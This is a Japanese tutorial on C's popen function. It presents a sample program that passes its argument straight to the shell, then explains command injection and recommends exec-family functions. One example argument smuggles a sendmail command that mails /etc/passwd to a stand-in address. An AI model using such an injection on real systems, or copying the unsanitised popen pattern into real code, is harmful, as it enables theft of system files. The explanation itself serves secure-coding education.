サンプルソースを見てみよう。
hoge.c
#include <stdio.h>
#include <stdlib.h>
int main (int argc, char* argv[]) {
FILE* fp;
char buf[256];
if (argc <= 1) {
fprintf(stderr, "引数に「コマンド」を入力して下さい!\n");
return EXIT_FAILURE;
}
// コマンドを指定してパイプをオープン
if ((fp = popen(argv[1], "r")) == NULL) {
fprintf(stderr, "パイプのオープンに失敗しました!: argv[1]=%s", argv[1]);
return EXIT_FAILURE;
}
// パイプからのコマンド実行結果を受け取り表示
while (fgets(buf, sizeof(buf), fp) != NULL) {
printf("%s", buf);
}
// パイプをクローズ
pclose(fp);
return EXIT_SUCCESS;
}
とてもシンプルなプログラムなので見ればわかるだろうが、一応軽く流れだけまとめると、
(1)popenでシェルコマンドを与えてパイプを開き
(2)fgetsで実行結果を取得し
(3)最後はpcloseでパイプを閉じる
といった感じである。
popenを使う時の注意点
とても便利な popen 関数だが、その反面、セキュリティ上の穴も作ってしまいがちである。例えば上のサンプルソースのように外部からコマンドを与えるプログラムの場合、厳密に作るならコマンド注入攻撃対策を施す必要がある
上記プログラムだと、例えば、
no-such-file; sendmail bad@example.com </etc/passwd #
のようなコマンドが引数から与えられると、/etc/passwd が他人に盗まれてしまう恐れがあるのだ。
対策方法としては、シェルコマンドで意味を持つ下記の文字列をなるべく全て無効化することである。
! " # $ % & ' ( ) *
+ , - . / : ; < = >
? @ [ \ ] ^ _ ` { |
} ?
特に、
& ( ) ; ` |
には十分に気を付けるべし。
このような危険な文字を単純に "\" でエスケープするのではなく、削除してしまうのが最も安全だ。
もしプログラムからプログラムを起動することが目的なのであれば、popen関数は使わず、exec系関数を利用すべきである。
exec系の関数は、新たなプログラムを起動するためのAPIであり、次のような複数の関数がある。
execl(path, arg..., 0)
execlp(file, arg..., 0)
execle(path, arg..., 0, envp)
execv(path, argv)
execvp(file, argv)
execve(path, argv, envp)
execvP(file, search_path, argv)
これらの関数は、"exec" の後ろにつく英字が次のような意味をもっている。
l 起動するプログラムに与える引数を execXX 関数の引数に直接並べる。引数の並びの最後は0(NULLでもよい)で示す
v 起動するプログラムに与える引数をベクトル argv として与える。引数の並びの最後は argv[n] == 0(NULLでもよい)で示す
p 起動するプログラムの識別情報をパス名ではなくファイル名 file で与え、PATH環境変数を用いて起動対象を探索させる
P 起動するプログラムの識別情報をパス名ではなくファイル名 file で与え、起動対象の探索パスを文字列 search_path として与える
e 環境変数を現在のプログラムから継承させず、環境変数プール envp を与える
これらのうち使用を推奨するのは、
execle
execve
execvP
の3つである。なぜならば、環境変数 PATH が改ざんされていても影響を受けず、起動するプログラムに与える環境変数を制御できるからである。
参考にさせていただいたサイト
コマンド注入攻撃対策 - IPA
C++プログラミング入門
posted with amazlet at 12.03.25
グレゴリー サティア ダウグ ブラウン
オライリー・ジャパン
売り上げランキング: 61971
オライリー・ジャパン
売り上げランキング: 61971
PR:お買い物はAmazonで